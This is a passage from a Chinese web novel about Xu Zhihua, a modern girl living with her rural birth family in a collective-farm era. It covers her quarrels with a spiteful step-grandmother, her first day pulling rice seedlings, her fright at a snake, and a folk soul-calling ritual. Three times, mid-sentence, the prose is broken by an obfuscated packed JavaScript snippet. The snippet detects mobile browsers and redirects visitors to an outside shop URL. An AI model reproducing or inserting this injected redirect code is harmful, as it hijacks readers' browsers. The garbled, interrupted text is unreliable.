她不喜欢。 不喜欢这里的一切。 她每天醒来的唯一动力:等死。 但看这家人明显不想她死,徐知画揣测着自己什么时候会被卖猪仔,到时要不要鱼死网破、共赴黄泉呢? 或许是因为之前想摆脱妈妈强烈的控制欲,现在才会来到这里受罪吗? 精神折磨和身体折磨,哪个让人更难受呢? 徐知画觉得都挺难受的。 不得不说,这里的人是真勤奋真辛苦啊! 每天从早忙到晚,干完集体的活,回来还要做自家的事,就连人小个矮的狗岁,也是干活的一把手。 目前在这个家,就徐知画一个吃白饭的,还叫她只管养好身体不用忧心其他,偶尔蔡淑芬也会炖补汤给她喝。 徐知画只当是猪仔没养肥还不能开宰,心安理得地看着他们干活。 她倒想尝试当一个无所事事的废物,只是多年来的习惯让她每到早上6点钟就自然醒,不用再像以前那般争分夺秒去学习各种技能,好…… 无聊啊。 她都怀疑自己是不是有受虐倾向了,闲得发慌,于是平时就默默观察这一家子来打发时间。 这家的顶梁柱、现在徐知画生物学上的父亲,名叫徐天瑞,是个不苟言笑的,很有老黄牛的气质,每天只有在傍晚收工吃晚饭的时间才能见到他。 而她的生物学母亲——蔡淑芬,则是个话多的,爱和家人分享鸡毛蒜皮的事、左邻右舍的八卦、与别人的矛盾等等,对内是贤妻良母,对外则得理不饶人,无理争三分。 有时徐知画面对她的过分热情,常觉尴尬。 大哥徐敬荣,读过书当过兵,后有领导看中他的聪明才智,着重培养,目前在一家研究所工作,属于拿起锄头下地,提起笔杆写字的高智商型人才。 而且,看起来他还是个重视家庭的好男人。 大嫂池清荷,本是个资本家小姐,家道中落后为得庇护,在朋友的帮助下加入研究所,大胆追夫,爱情事业双丰收,是个上得了厅堂,下得了厨房的。 侄子狗岁,大名徐佑,现5岁,出生不久就被送回乡下养,人小力大,能跑能跳、能吃能睡。 二哥徐康荣,不良于行,日常靠轮椅活动,下不了田地,在家做竹编手工或晒草药,是个赤脚医生,脾气暴躁,但和徐知画讲话时会放低声音,还偷偷塞糖给她吃。 二嫂祝安,是个哑女,脸上总是挂着甜甜的笑,一副很好说话的样子,是个老好人,平时砍竹和上山采药回来,就操持家务、缝补衣物之类的。 三哥徐家荣,招猫逗狗,一言不合就是干,一个星期内,和别人打了两场架,次次认错快,次次不悔改,对能吃白饭不干活的徐知画很是看不顺眼,阴阳怪气的,目前还没有对象。 四哥徐安荣,小时候发烧没及时送医,脑子烧傻了,比狗岁要好骗一点,干活不错,指哪打哪。一得空,就邀请徐知画加入他的活动,烦人又黏人。 徐知画觉得徐天瑞和蔡淑芬有点面熟,但就是想不起来在哪儿见过。 或许想让徐知画住得舒适,找了个天晴的日子,蔡淑芬和祝安在家里里外外来了个大扫除,那几张有灰尘和污渍的桌椅,更是擦得油光锃亮。 不该在意的,将屋子打扫干净,得益的又不止她一个。 徐知画如是想到。 * 这天,他们全去上工了,徐知画在家闲得看蚂蚁搬家,一个老婆婆突然闯进院子。 她的身材微胖,花白的头发整齐地盘在后面,颧骨略高,一双浑浊的眼睛透着一股精明劲,滴溜溜地在徐知画的身上扫视。 “你就是送回家里的赔钱货?怎么那么不懂礼数,回来这么久了,也不知道回老屋看看,拜拜列祖列宗。” 老婆婆的嘴巴跟茅坑一样臭。 听着这一通指责,徐知画也没好脸色道:“大贱货有什么好看的,我又不是什么货都收。” 她猜到了来人的身份,应该是那挂名奶奶,徐天瑞的继母,蔡淑芬口中的“老不死”,现在和小叔徐天盛住在一起。 “你这赔钱货,真是没大没小,是不是蔡淑芬不让你来看我?”老婆婆简直将尖酸刻薄表现得淋漓尽致,边往里走边骂道,“看着就不是个好生养的,到时都不知道能不能嫁出去,养在家里也不见出干活,当千金小姐呢。” “你好生养,你一胎十八个。”徐知画气到爆炸,伸手拦住她的脚步,“你不能进去!” “我儿子的家为什么不能进去,他公想吃点白米饭,要孝顺老人家懂不懂?” 老婆婆常年下地干活,那劲儿不是一般大,一下子就将徐知画推倒在地。 老婆婆跟强盗进村一样往厨房去,见粮食被锁在柜子里,又骂了几句“小气”的话,手麻溜地拿起簸箕上的几条番薯和一捆青菜。 临走前还看了徐知画一眼,说:“你爸妈回来了,叫他们拿点米回老屋,隔好久没送过来了。” 看着她脚步如飞的背影,徐知画:…… 就好气! 等到大家下工回到家,徐知画刚说完这件事,蔡淑芬就跳起来,到门口上大骂特骂,说什么—— “婆婆拿大的东西补贴小的,现在全家饿得吃土,没活路了。” “嫁到这个家,我是要累死累活啊,哪家小叔都有孙子了还要大哥大嫂养,不把我当人看啊……” “今天要米,明天要钱,我到哪里当牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563772|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做马能养活婆婆和公公哦……” “……” 徐知画:…… 蔡淑芬拖着长长的调,声音凄厉,很快引来一批吃瓜群众。 有人看热闹不嫌事大般拱火附和:“她这后娘不厚道啊,你家的情况……唉,不帮衬哪里过得去。” “淑芬,你不容易啊,摊上这爹娘,也只能认命了。”有早年被婆婆磋磨的儿媳,感同身受地拍了拍她的肩。 “我命苦啊——”蔡淑芬掩袖抹泪,语调一转,“我也不是说不孝顺老人,如果我有千斤万斤粮食,不要说养全族,就是养全村我也是愿意,但现在我全家就等着拿几个红薯当晚饭,明天还要上山挖野菜才有得吃,实在是没办法啊!” “就是等月末分到粮,我也不会舍不得给她几口吃的……” “……她这是想让我们全家饿死啊……” “家家有本难念的经,淑芬妹子,我家里还有一些存粮,你先借去吃吧。”平时跟蔡淑芬交好的一位大婶说道。 “真是多谢了,要不然真不知道怎么熬过这日子。”蔡淑芬满是感动,“我是心寒啊,有时外人对我还有心。” “唉,都会熬过去的。” 蔡淑芬拭着泪:“摊上这么一对公婆,唉……” 徐知画看了看家里其他人,各自忙活着手头上的事呢,看来是习以为常了。 没过多久,老婆婆和一个中年妇女气势汹汹地冲过来,仿佛仇人见面,战争一触即发。 两人一来也哭诉自己的各种不容易,解释是瘫痪在床的公公想吃东西,是揭不开锅了才不得已来大儿子这边想讨点粮食。 又将话题升级到“儿子不孝顺,爹娘要饿死”的份上。 蔡淑芬一听,急急反驳起来。 “不孝”这顶帽子可不能戴在头上。 她是想孝,可没能力孝啊。 双方越说越急,越说越激动,最后叽里呱啦已经听不清内容是什么了。 只见她们朝对方拍屁股、竖手指、伸胳膊、拍掌跺脚、吐口水…… 你进一步,我退一步;我前一步,你后一步。 隔空施法攻击。 精神伤害:三颗星。 身体伤害:零颗星。 徐知画:【目瞪口呆】.jpg 转头问徐敬荣:“你不去帮她吗?” 徐敬荣摇摇头:“不用,这种小场面,妈应付得来。” 果然,不一会儿,在众人的劝说拉架下,三人骂骂咧咧着各回各家。 回到屋子里,蔡淑芬的表情一收,冷哼道:“那个老不死的,这个月应该不会上门了。” 徐知画觑了一脸她的神色,没见有什么悲伤情绪,迟疑着问:“接下来我们要吃土了?” 要是要吃土的话,她还是先死一步吧。 徐知画如是想到。 蔡淑芬看着她担忧的表情,笑了笑,怕隔墙有耳,低声答:“没有,家里还有吃的,我不这么闹一闹,老不死的会天天来家里扫荡。” “敬荣,你去肥花婶那借点粮食。”蔡淑芬吩咐道。 徐敬荣拿起一个盅过去。 蔡淑芬转头叮嘱池清荷和祝安:“明天你们去挖多点野菜,做戏做全套。” 两人点点头。 5. 病秧子X狼少年 蔡淑芬这几天很火大,每次下工都能听见她骂骂咧咧着进来的声音—— 说狗菜小小年纪一肚子坏水,将来要吃枪子;又骂李小芳是挑事精,歹竹出歹笋;最后关门咒老不死怎么还不去阎王爷报到…… 哦,狗菜是徐天盛的孙子,李小芳是徐天盛的老婆,也是蔡淑芬的侄孙和妯娌。 乡下人,一点鸡零狗碎的事都能吵个翻天覆地。 这很符合徐知画对农村的刻板印象。 反正事不关己,高高挂起。 徐知画并没有探究他们恩怨的欲望,听了几句,嫌聒噪用东西堵住了耳朵,每天得过且过,虚度光阴。 然而她不出门,麻烦却找上门来。 “徐知画,徐知画,你在家吗?” 徐知画正举着一根棍子,第五次尝试搅开横梁上那犟种蜘蛛织的网,试图让它明白,努力不一定会有收获,有时候躺平好过折腾。 总不好承认是因为它的勤奋吵到了眼睛,才看不顺眼吧。 她没那么小气。 听到有人喊她的名字,徐知画手快又捣了几个蜘蛛网才放下棍子,打开门,就看到陈豫周一脸焦急的样子。 “干嘛?” “你身体还好吧?”陈豫周上上下下将她打量了一圈。 “还可以。”徐知画这些天在狗岁的监督下,都有喝那苦兮兮的药,也不用干什么,身体怎么都比在陈彩霞那养的强。 “那就好。”陈豫周看着她脸上是有肉了些,对上她明净清澈的眼眸,不自在地移开了视线,说明来意,“这几天,村里有人传你贪图享乐、追求低级趣味,还不孝不悌,举家之力养你一个,是资本主义做派的大小姐,要拉你去批斗。” “呵。” 徐知画越听脸越黑,隐隐联系上这几天蔡淑芬骂骂咧咧是因为什么了。 历史书上也学过,这年代,讲究的是集体劳动,大家都辛辛苦苦的,你轻轻松松躺平,可不就有人看不惯了。 “如果你身体还可以的话,建议你去地里上一下工,总躲着也不是办法。” 陈豫周还以为她是因为从城里人转为乡下人,一直以为的爸妈不是爸妈,深受打击,所以才一直躲着不见人。 “随便吧。”徐知画一副无所谓的态度。 “诶呀,你就是做做戏假勤奋也好啊,之前你不是挺精明的,怎么现在这么……这么……”陈豫周放低了声音,好心给出建议,但看到她这副模样,自己先急起来。 如果他生活在后世,就知道有个词叫【摆烂】。 “你还有什么事吗?”徐知画开始赶人。 “这个给你。”陈豫周塞了几颗大白兔奶糖给她,说,“同学一场,关照你一下也不是不行。” “我不要。” 徐知画似笑非笑地看着他,不知道他又在打什么鬼主意,之前她骗吃骗喝的目的被揭穿后,陈豫周可是纵容别人孤立她、霸凌她。 现在又搞哪出? “之前的事我们都有不对的地方,现在言归于好,重新认识行不行?” 陈豫周已经习惯了有她这条小尾巴,后来闹掰没了她跟在身后,就做出各种小动作来吸引注意,希望她在被欺负的时候能找回自己帮忙解决。 然而徐知画总是以避嫌的借口和他保持距离,被欺负惨了也没找他,硬气得很。 “没兴趣。”徐知画说完,“啪”一下将门关上。 “脾气还挺大。”陈豫周摸了摸鼻子,想起她小绵羊指哪去哪的乖顺模样,心道难道这才是她的真面目? 气头上的女生果真不好哄。 陈豫周走了,心里还担忧着她一直这么下去也不是办法。 * 外面的狂风暴雨,都被挡在了家门外。 这家人并没有要求她怎么怎么做,好像当她是个废物养也没问题,只是在外人说她不好时,会奋起回击。 有次老不死路过家门口,看到她在晒太阳,开口就是一通指责:“你这光吃饭不干活的懒货!是猪投胎吗?猪养大还能吃,你养大只会拉屎。我要是你,就早早上吊死了算,省下的粮食还能给你公吃。” 还没等她回应,在旁喂鸡的狗岁挡在徐知画面前,嘴里也开始“问候”对方:“你不是懒货,你是千人骑万人骑的烂货,我太公是收破烂才收到你这大贱货,人会拉屎,你会喷粪!你好厉害哟,哕~臭臭臭!” 狗岁边说边捂住鼻子,好像她真会喷粪臭到自己了。 “你这兔崽子,没大没小……”老不死边脱鞋边朝他走去,气上心头想拍死他。 “呜呜呜——太奶奶,别打我,家里真没东西吃了,我会上山去找吃的给你。”狗岁边大哭着边往人多的地方跑去。 “你,你,你这兔崽子,在乱说……”老不死追了一会儿,见路边肥花婶看过来,悻悻地穿好鞋子,解释道,“我可没有叫他上山,小孩说谎骗人呢。” 肥花婶翻了个白眼:“反正不是自个儿孙,自个不疼。” 肥花婶在村里,也是个干架战绩赫赫的人物,老不死很识时务地没有回怼她,灰溜溜地走了。 徐知画回屋望着孜孜不倦织网的蜘蛛,千头万绪缠绕,觉得自己也好像被困在蛛网的小昆虫,挣脱不得,接受被吞噬的命运。 凭心而论,徐知画能感受到这家人是单纯想对她好,没有企图,因为是他们的女儿、妹妹、姑姑。 因为血缘的关系,对她是不求回报的付出。 但徐知画对这里并没有什么归属感,总感觉自己是个外来者,所以在接受他们的好时,总觉得有负担。 或许,可以试着和他们相处吧。 当晚,饭后乘凉时,大队长徐开鸿来到了家里,先是讲了一大堆道理,话里话外就是鼓励劳动,不养闲人,不吃闲饭,村里不能有这股好逸恶劳之风影响到集体进步。 在房间里的徐知画听到了,自是知道在点她呢。 蔡淑芬赶忙解释:“龟妹不是不劳动,她在家干活呢,这不,今天的晚饭还是她煮的,地也扫得干净,衣服每天搓洗……” 蔡淑芬说得下去,徐知画都没勇气听得下去,来到这里那么久,她就是看到酱油倒了都不会扶一下,现在也不想冒认别人的功劳。 “我明天就去上工。”徐知画走出来打断了蔡淑芬的话。 徐开鸿抬头一看,好标致的一个女娃子,白白净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563773|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净斯斯文文的,果然城里养出来的就是不一样,不过忒瘦了些,估计也干不了什么重力活。 “你病还没好,再歇息一段时间。”蔡淑芬想到闺女每次就吃那么一点点,哪里有力气干活,而且身体又比常人娇弱,累病了得不偿失,又对徐开鸿哭诉, “大队长,你是知道的,她出生时跟老鼠一样小,后来又查出有心脏病,大家都以为她活不了,那时我急啊,什么办法都使了,好在遇到个好心人养到这么大,现在闺女回到我身边,我当然也要好好养。” 回想当年,这龟妹能活下来的确不容易,徐开鸿不自然地咳了咳,说:“这不是治好了,当父母的,不能太娇惯孩子。” “没治好啊!”蔡淑芬突然加大声量,声泪俱下,“每天还要吃中药调养呢,要不你去厨房看看,还在煲着药呢,我苦命的龟妹啊……” 徐知画突然振臂一呼:“虽然我身病体弱,但是我有钢铁一般的意志,我愿意将热血洒在这片土地上,树立远大理想,积极向上,为实现共产主义事业而奋斗终身!” 蔡淑芬动作滞了滞,这……还要不要继续哭下去? 徐开鸿突然感受到了党的召唤,暗道:【这城里人说话就是好听。】 “好!好样的!”听得他都想下田再犁两亩地,热血沸腾起来。 徐知画腼腆地笑了笑,这样的话之前她只在宣誓的时候说过。 蔡淑芬不懂什么远大理想,只知道不想让闺女受苦,想为她争取利益,又一把鼻涕一把泪道: “大队长,那些人说我女儿是个懒货真说错了,之前她不是不想上工啊,只是身体不允许啊。好在现在她身体好了点,我也愿意支持她奋斗,凡是都有个开头,万事由易到难,你看先安排她干什么活?” 徐开鸿觑了她一眼,铺垫那么多,不就是想提醒安排个轻松点的活嘛。 他可是个铁面无私的大队长,于是道:“明天龟妹去拔秧吧。” 看她这小胳膊,也只能和小孩同一组干活。 “大队长,你看,我闺女会写字读书,是不是——”蔡淑芬之前见徐知画拿着废报纸看,知道不是个文盲,还想为她争取更轻松点的活。 “先不用想其他。”徐开鸿止住了她的话头,说道,“有需要会通知。” “行。”蔡淑芬破涕为笑,起身拿了一个罐子过来,说:“这是我家大儿媳做的果酱,带回去给阿桃婶尝尝味道。” “不用。”徐开鸿连连摆手。 “我知道大队长不拿群众的一针一线,不过这是给阿桃婶的,感谢她上次给了我一捆菜。”蔡淑芬继而说道,“也不是什么珍贵东西,果子还是康荣去山里摘的。” “行,那就多谢了。”徐开鸿不再推辞。 “慢走啊。” 送徐开鸿出门后,蔡淑芬叹了口气,说:“本来还想着爸妈勤快点,也能养活你,没想到有人心肠就是坏看不顺眼。好在拔秧还能坐着歇歇,你明天和狗岁一起去,记得多喝水,拔累了就装头晕,狗岁很机灵的,两人打好配合……” 徐知画:还没干活你就先教我偷懒了。 有些感动呢。 徐知画听着连连点头。 6. 病秧子X狼少年 晨光熹微,在大公鸡此起彼伏的引吭高歌中,村庄开始热闹起来,水井旁打水的人们说说笑笑,动作麻利地挑了一桶又一桶,因走得太快,荡出来的水打湿了黄泥地,留下一条条歪歪扭扭的暗色痕迹。 “龟妹,早上好呀!”刚挑水装满杠的徐安荣一抬头,就看见徐知画伸着懒腰打着哈欠走出来,热情地招呼道,“过来刷牙洗脸吧。” 徐知画点点头。 在这个年代,对于整天忙于生计的劳苦大众来说,打理牙齿是一件奢侈的事,除了牙痛时会找点药吃,其余时候根本不会想起爱护牙齿。 目前这个家也就徐知画、徐敬荣和池清荷有刷牙的习惯。 见徐安荣蹲在一旁看自己刷牙,徐知画将口中的水吐出来,问道:“你要不要刷牙?” “不要。”徐安荣摇摇头。 想起刚才在水井旁,有几个知青也在刷牙,大家都笑是“狗嘴冒白泡”,但徐安荣觉得自家妹子刷牙的样子真可爱,让他想起了清晨在枝头梳理羽毛的翠鸟。 好想摸一摸她的脑袋,但鉴于妹妹和自己还不太熟,一直迟迟不敢动手。 徐知画没有勉强,刷完牙吃完早餐,蔡淑芬拿出一个布袋子让她挎在身上,里面有煮好的番薯鸡蛋和一个用墨绿色军用水壶装的中药,絮絮叨叨让她饿了就吃,累了就歇,受欺负了就回来说…… “妈,再啰嗦下去,天都要黑了。”徐康荣无语地翻了个白眼,夸张道,“这样温柔的话,你从未对我说过,哼!” “臭小子要什么温柔。”蔡淑芬毫不留情地拍了一下他的背。 看着他们母子打闹,徐知画偷笑着,走到门口又回头看了一眼,见他们的目光满是关切,心里一阵暖流经过。 回想在现代的时候,每当要上台表演或出席什么活动时,妈妈只会严厉地叮嘱:“不许有失误!” 压力巨大。 突然,一只小手悄悄爬进她的掌心,握住。 徐知画低头看去,狗岁昂首挺胸,走出雄赳赳气昂昂的气势,牵着她好似牵住了什么了不起的大人物。 “肥花婶,这是我姑姑,今天我们一起去上工哦。”狗岁开心地举了举两人的手。 正在地里淋菜的肥花婶笑着点点头。 徐知画以为就简单地和熟人打个招呼,没想到这只是开始,一路上遇到三叔公六叔婆阿桃婶大黄狗等等,只要是活着的生物,狗岁都想拉她出来介绍炫耀着介绍一番。 仿佛有她这个姑姑是件很不得了的事。 徐知画:有时候真的挺无助的。 但看在他对自己这么喜爱的份上,就容忍他的小脏手再牵一下吧。 两人来到秧田时,有几个小孩正在田埂上挽着裤脚准备下田。 狗岁又卖力地介绍起自己的姑姑。 “你这么大了,怎么和我们一起干活?”一个小孩好奇地看着徐知画,说,“我姐姐会插秧哦。” 会插秧是能干一点。 “我姑姑比你姐姐好看!”狗岁骄傲地昂起头,说,“我姑姑还会认字!” 在光荣大队,会插秧的很多,会认字的却很少,特别是看到徐知画的穿着打扮,小孩不知道怎么形容,但美丑还是知道的。 她站在那儿,就像一朵花一样漂亮,因此也开始羡慕起狗岁有个好看的姑姑。 “好看有什么用?又不能当饭吃。”狗菜冷哼。 “那也比你长得丑恶心人强。”狗岁双眼一瞪,和狗菜是仇人见面,分外眼红,一股无形的气势在两人之间拉锯。 “大队长来了。” 随着一声喊叫,小孩们纷纷下田忙碌起来。 “别想着偷懒,拔秧的都赶不上插秧的!”徐开鸿吼了一嗓子,看了一眼徐知画,不自觉放低声音,提醒道,“从今天起你也好好干,你算是知青下乡的,有人已经盯上你说逃避劳动了,这段时间勤奋点。” “好,请大队长放心。”拔秧而已,看着就很简单,徐知画对于完成这项任务很有信心。 大队长没再说什么,巡视一圈走了。 广阔的田野上,绿油油的秧苗挤挤簇簇,纵横排列整整齐齐,像是被切割成长方形的抹茶蛋糕,小孩们一点点前进,一点点将这个“蛋糕”吃掉。 徐知画脱下鞋,学着他们的样子踩下田。 “啊!”水好凉,徐知画低呼一声,脚底踩着石子还是野草,刺刺的,感觉很不舒服,而且走一步,水很快变浑浊起来,黑乎乎脏兮兮的。 她有点难以迈开下一个脚步。 “姑姑,快过来呀。”已经准备好开工的狗岁在前方召唤。 开弓没有回头箭。 徐知画咬咬牙,目视前方,尽量不要去在意脚下踩的是土还是屎。 来到狗岁旁边的秧凳坐下,看他示范。 狗岁的小手像加了倍速般,所到之处,一株株秧苗迅速被放倒,等数量够了再用一根或两根干稻草绑成一捆。 “这是稗草,不要的,记得挑出来。”狗岁提醒道。 左手是稗草,右手是秧苗,徐知画怎么看都觉得是同一个品种,就像是同一个妈生出来的。 狗岁又从叶子长短、有无绒毛、颜色深浅等方面分析了两者的不同,徐知画似懂非懂。 拔秧这活,看似简单,实则真不容易。 徐知画嫌秧苗底下的水脏,就抓着叶尖往上揪,然而拔断了不说,苗根还没拔出来。 “你要这样拔。”狗岁又示范了一遍。 看着他的手放进水里,捏紧根部,轻轻松松一拽,在水里荡了荡,底部的泥土也被洗掉了,露出白白的根须。 “嗯嗯。” 徐知画只好强忍着恶心,边拔边嫌弃,好脏好脏,不想要这手和脚了。 之前她从未为生计奔波过,就连吃鱼都是有人挑好刺的,那些脏乱臭的东西根本没有机会进入她的眼球。 然而一朝醒来,变成了下乡女,惨惨惨! 真是哭都没地方哭。 “啊——” 一声尖叫乍响。 只见徐知画疯狂地猛甩着手,甩出了残影,像要把整只手从胳膊甩掉。 “怎么啦怎么啦?”狗岁焦急地靠近,四处张望企图找出让她被吓到的缘由。 “有可怕的东西在水里游,刚才碰到我手了!” 徐知画的声音颤抖着,又害怕地把脚抬起,不过一瞬间,脸色苍白如纸,惊恐万状,心脏砰砰砰地狂跳。 “什么东西?在哪里?”狗岁低头在她的附近寻找着。 “黑黑的!小小的!有好多只!”徐知画视线往下一瞥,看到那些东西在狗岁的脚踝旁边游过,又尖叫起来,“在你脚那里!你脚哪里!” 狗岁掌心合并成容器,从水里掬起几只那黑黑的不明生物,表情有些无奈道:“这是蝌蚪,不会咬人的。” 早听到动静的小孩们围过来,发出一阵爆笑:“哈哈哈,她这么大了还怕蝌蚪,笑死人了!” 知道蝌蚪,但没仔细观察过,一时想不起来,不过再看一眼,徐知画虽然清楚没有攻击性,打心底还是觉得怕。 徐知画又羞又窘,连小孩都比不过,还被他们笑,尴尬得想钻地洞。 “去去去,怕蝌蚪有什么好笑的,狗菜你前几天被鬼吓尿裤子更好笑吧。”狗岁毫不客气地揭着他的短。 “你再说!”狗菜咬牙切齿,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563774|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中闪过一抹狠厉。 上次一群小孩说去鬼哭山探险,没想到真见到一个绿色的鬼,狗菜当场被吓尿,后来这也成了他不能提的禁忌。 谁提他跟谁急。 “大队长看过来了。”眼见气氛一下子紧张起来,有人赶忙提醒道。 双方再次熄火。 徐知画想起刚才在大队长面前说让他放心的话,现在也不好说不干了吧,半途而废并不是她的风格。 她疯狂给自己洗脑只是小小蝌蚪,不怕不怕,当看不见,没事哒~没事哒~~ 徐知画尽量不去想水里面有什么,视线盯着秧苗叶片,用触感去感受去拔苗。 没拔几分钟,手又痛又累,但看那群小孩,动作又快又好,不服输的斗志重新被点燃。 一时间秧田里没了说话声,大家都在专注地拔着苗。 “啊——啊——啊——” 突然,一阵尖锐的叫声再次响彻天际。 大家抬头望去,只见一条蛇被抛向天空,又重重砸落到秧苗堆上,徐知画被吓坏了,浑身颤抖着,站在原地疯狂地尖叫着。 “姑姑,不怕不怕,有没有被咬到哪里?”狗岁连忙跑过去抱住她。 “狗菜,是不是你放的蛇?”狗岁瞪向他。 狗菜本来拔秧的位置在另一边,而现在他就站在离姑姑不过几步的距离,阴恻恻地笑着,很难不让人怀疑是他动的手。 “没有啊,我只是经过想去拿水壶。”狗菜耸肩摊手,说,“没想到她突然叫起来,还吓我一跳。” 狗菜说完往田埂走去,水壶就放在那杂草中。 并没有什么证据能指明是他做的,狗岁只好先将心思放在情绪已经崩溃的姑姑身上。 “怎么回事?”附近犁田和整地的人们听到动静,撒腿狂奔而来。 小孩们则兴奋地追着蛇跑,有人认出蛇的品种,欢喜道:“是菜花蛇!” 一想到吃了蛇胆就会变大胆,蛇肉可以做蛇羹,全身样样是宝,大家看着蛇,眼里都发光。 这条蛇,注定是爬不出这块秧田了。 忽然,蛇改变了爬行轨迹,一个调头,竟呈S型的轨迹朝徐知画的方向爬来。 徐知画整个人彻底被恐惧吞噬,胃部痉挛抽搐,恶心想吐,又感觉有一只大手紧紧攥着心脏,挤压感越来越强烈,嗓子发紧,呼吸越来越困难。 “欸欸欸,狗岁来,一起将她扶走。”肥花婶见徐知画状态不对,神色着急起来。 两人合力将她扶到一片树荫下后,肥花婶又叫狗岁赶紧去找爸妈过来,手忙脚乱,不知道该做些什么才能让她好受些。 “龟妹,你有没有带什么药过来?”肥花婶凑近了问。 徐知画艰难地抬手指了指一个方向。 肥花婶想起今早见到她时,身上挎的那个包,“嗖”的一下跑过去,又“嗖”的一下跑回来。 “来,慢慢喝。”肥花婶让她靠在身上,打开水壶小口小口地喂着,一边一下一下地抚着她的胸膛顺气。 没一会儿,徐天瑞和蔡淑芬等人也匆匆赶来。 “龟妹,龟妹啊,你可千万不能有事!”蔡淑芬眼眶一下子红了,心里虔诚地祈祷着各位过路神仙保佑。 早上出门还好好的,现在看到她气息奄奄,亲人们的心里也难受至极。 早知道说什么还是坚持让她在家休养着好了。 这一路的动静,自然引来了众人的关注,等听到龟妹是被一条菜花蛇吓破胆时,大家不约而同哈哈大笑起来,当乐子一样看,嘲笑徐天瑞和蔡淑芬养了个胆小女。 大队长看着她这副模样,还能干什么活?先歇着吧。 头疼。 7. 病秧子X狼少年 在现代,徐知画多才多艺,自小学习中英日三国语言、会画画、弹钢琴、打高尔夫、骑马、射箭、书法等等,拿任何一项技能出去参加比赛都是数一数二。 可偏偏怎么种田,她是一点儿相关知识都没有学习接触过,就连摆在桌上的食物,对她而言只有两种看法—— 好吃或不好吃。 关于食物长什么样子,怎么生长,怎么摘下,又怎么被送上餐桌,她并不了解,也不想了解。 而且她出行参加比赛,一般都是走地毯的,沿途有鲜花气球点缀,什么黄泥土、坑洼路、泥水路等那是不可能会接触到。 可现在…… 现在一想到那脏兮兮的田地、恶心巴拉的蝌蚪、冰冷滑腻的菜花蛇,徐知画恨不得将自己接触过的皮肤剥开换掉,种种触感至今想起来还觉惊悸。 徐知画又病了。 一睡着就噩梦连连,梦里她或困在田地里,身子越陷越深,直至泥混着水将她的口鼻淹没;或掉进水里,无数只蝌蚪密密麻麻争先恐后着涌上来啃噬她的血肉;或坠落蛇窟,无数条蛇缠绕在身上,骨骼被绞杀挤压变形。 残忍、恐怖、害怕、绝望。 医生说:“她现在是心病,再这样下去,真没几天活路了。” 本来还有人说她是想偷懒装病,可事实摆在面前,看到她一副意识模糊病入膏肓、半只脚都要踏进棺材的模样,谣言不攻自破,愤怒的情绪转为怜悯。 后来连医生都劝放弃治疗了。 可蔡淑芬不愿意放弃,想起曾听说过人受到惊吓,魂就会丢在外面,要喊魂才能找到回家的路。 于是回到家之后,蔡淑芬就着手准备:一炷香、一颗生鸡蛋、一面镜子。 她先点燃香,然后拿着香来到徐知画的房间里,四个方位都拜一遍,嘴里问道:“龟妹的魂回来了吗?” 守在旁边的徐天瑞拍着床沿答道:“龟妹的魂回来了!” 如此问答七遍后,蔡淑芬来到厨房里,表情满是恭敬与虔诚。 她将香插在香炉里,又拜了拜,随后将镜子平放在灶台上,接着开始尝试将鸡蛋立在上面。 念念有词:“灶王爷灶王爷,我家龟妹是不是吓着找不到家里的路了?要是吓着找不到回家的路,请您带带路,带我龟妹回到家!” 神奇的一幕发生了,鸡蛋真的立在了镜子上面,蔡淑芬看到不禁喜笑颜开,感激的话说了一箩筐,随后回到屋子,拉过徐知画的的右手,用大拇指在掌心画圈,嘴里还念叨着回来的话…… 徐知画再次陷入在噩梦中不能自拔,还是一样可怕的画面,死亡的气息如细细密密的线缠绕着她。 突然,一道金光拨开云层直射身上,泥水彷佛怕光的妖怪,纷纷退散,徐知画缓缓升起,身体彷佛被施了个清洁术,一下子变得干干净净。 正当遮天蔽日的蝌蚪再次发起攻击涌来,然而一靠近就被反弹,飞向天际烧成了灰烬,变成美丽的鲜花纷纷扬扬落下。 不过眨眼间,她又坠落蛇窟,但倏地化身为一颗炸弹,将蛇炸飞到外太空,一条条小蛇连接成一大条蛇,开启贪吃蛇游戏模式,一口一个星球,最后嘴巴咬中尾巴,gameover。 徐知画感觉有一股力量自掌心涌上心头,好温暖,好舒服,耳边好像传来喊回家的声音,她迷迷糊糊着睁开眼,两张憔悴的脸放大在眼前。 “嘿呀,真是灶王爷保佑,龟妹醒了,多谢多谢。”蔡淑芬双手合十喃喃道。 徐天瑞也不由得拭了拭泪。 “龟妹,你可算醒过来了,担心死我了。” “龟妹,你感觉怎么样?” “姑姑,以后你不用干活了,我会挖野菜养你的。” “龟妹,有没有什么想吃的,告诉我,我去给你弄来?” “龟妹,……” 